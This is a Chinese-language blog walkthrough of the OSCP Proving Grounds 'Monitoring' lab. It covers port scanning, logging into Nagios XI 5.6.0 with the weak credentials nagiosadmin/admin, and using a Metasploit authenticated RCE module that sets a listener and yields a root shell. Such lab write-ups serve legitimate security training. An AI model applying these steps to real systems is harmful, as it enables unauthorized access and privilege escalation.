当前位置: 首页 > news >正文

【OSCP】- Monitoring 靶场学习(Proving Grounds Play)

目录

  • 0. 靶场信息
  • 1. 信息收集
  • 2. 80端口
  • 3. 提权

0. 靶场信息


Summary

In this lab, we exploit an authenticated remote code execution vulnerability in the Nagios XI monitoring software. The application is misconfigured to run with root privileges, allowing us to escalate immediately to root once the vulnerability is exploited.

Level: Easy

Community Rating: Intermediate

Number of Flags: 1

OS: Linux

Vector Type: Webapp



1. 信息收集


先快速扫描全端口:rustscan -a 192.168.184.136 -r 1-65535

在这里插入图片描述

再扫描开放的端口:nmap -p22,25,80,443,5667 -AO -sV -sT 192.168.184.136

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-02 18:16 CST
Nmap scan report for bogon (192.168.184.136)
Host is up (0.17s latency).PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b8:8c:40:f6:5f:2a:8b:f7:92:a8:81:4b:bb:59:6d:02 (RSA)
|   256 e7:bb:11:c1:2e:cd:39:91:68:4e:aa:01:f6:de:e6:19 (ECDSA)
|_  256 0f:8e:28:a7:b7:1d:60:bf:a6:2b:dd:a3:6d:d1:4e:a4 (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp   open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Nagios XI
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp  open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=192.168.1.6/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US
| Not valid before: 2020-09-08T18:28:08
|_Not valid after:  2030-09-06T18:28:08
|_http-title: Nagios XI
5667/tcp open  unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.13 (98%), Linux 3.10 - 4.11 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 3.12 (93%), Linux 3.13 or 4.2 (93%), Linux 3.16 - 4.6 (93%), Linux 3.18 (93%), Linux 3.8 - 3.11 (93%), Linux 4.2 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host:  ubuntu; OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   172.57 ms bogon (192.168.45.1)
2   172.55 ms bogon (192.168.45.254)
3   174.78 ms bogon (192.168.251.1)
4   172.72 ms bogon (192.168.184.136)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.70 seconds


2. 80端口


80端口获取到的相关信息:

80/tcp   open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Nagios XI
|_http-server-header: Apache/2.4.18 (Ubuntu)

浏览器访问 80 端口:http://192.168.184.136/

在这里插入图片描述

扫描站点目录:dirsearch -u 192.168.184.136

在这里插入图片描述

没有什么可用的结果。

查看网站指纹:whatweb http://192.168.184.136/

在这里插入图片描述


CMS 是 Nagios XI 。

点击按钮 access nagios xi:

在这里插入图片描述

这里有个登录接口,尝试常规的弱口令以后没有什么结果,去搜索这个站点默认的登录用户名和密码,nagiosadmin,密码可能是 nagiosadmin,nagios,试了试都提示错误。再针对这个用户名尝试常见的密码,最后用 nagiosadmin/admin 登录进去了。

在这里插入图片描述

URL中发现是 /nagiosxi 开头的,所以重新扫描一下目录:dirsearch -u http://192.168.184.136/nagiosxi/

在这里插入图片描述


每个路径都看一下:

  • http://192.168.184.136/nagiosxi/backend/ :

    在这里插入图片描述

    再访问 http://192.168.184.136/nagiosxi/backend/?cmd=getProgramStatus :

    在这里插入图片描述

    依旧是没有什么很有用的信息。


在左下角发现了版本 Nagios XI 5.6.0。



3. 提权


直接在 MSF 中搜索:search nagios

在这里插入图片描述

综合版本信息,以及rank,尝试了几个,最后用用10比较好一点。

10的标题中也写了是 authenticated,认证后的,所以需要提供刚才登录的账号和密码。

使用模块:use 10

查看模块需要配置的参数:show options

可以看到几个必须的选项:

在这里插入图片描述

设置目标ip:set RHOSTS 192.168.229.136

设置密码:set PASSWORD admin

设置监听IP,也就是本机的IP:set LHOST 192.168.45.220

设置服务绑定的 IP,也就是本机的IP:set SRVHOST 192.168.45.220

执行:exploit

在这里插入图片描述

连接上了以后执行:shell

查看当前用户:id

直接是root用户了。

在这里插入图片描述

拿到了flag。



http://www.lryc.cn/news/611784.html

相关文章:

  • SpringBoot 整合Langchain4j 对接主流大模型实战详解
  • 科技云报到:Agent应用爆发,谁成为向上托举的力量?
  • 第一章-网络信息安全概述
  • 数据赋能(381)——数据挖掘——支持异类数据库
  • C语言的数组与字符串练习题2
  • GitHub 趋势日报 (2025年08月05日)
  • Gitlab+Jenkins+K8S+Registry 建立 CI/CD 流水线
  • 8.6 CSS3rem布局
  • npm scripts 使用指南
  • 解决在IDEA、webstorm里Git特别慢的问题
  • 自动驾驶系统的网络安全风险分析
  • vasp计算弹性常数
  • MyBatis核心配置深度解析:从XML到映射的完整技术指南
  • 构建语义搜索引擎:Weaviate的实践与探索
  • 实名认证 —— 腾讯云人脸识别接口
  • Redis集群核心原理与实战解析
  • 2025年08月 GitHub 热门项目推荐
  • 【Figma】一.初识设计工具Figma,简单尝试和笔记
  • 实名认证 —— 腾讯云身份证认证接口
  • 机器学习之随机森林
  • Numpy科学计算与数据分析专题
  • CRMEB会员电商系统集群部署 + 腾讯云日志托管优化方案
  • zsh: command not found: code报错解决办法
  • python基础:类
  • LLM——浅谈 LangGraph 中断式工作流:构建一个可交互的问答流程
  • Effective C++ 条款26: 尽可能延后变量定义式的出现时间
  • RN项目环境搭建和使用-Mac版本(模拟器启动不起来的排查)
  • Solidity 编程进阶
  • 阿里国际招AI产品经理咯
  • 用 “私房钱” 类比闭包:为啥它能访问外部变量?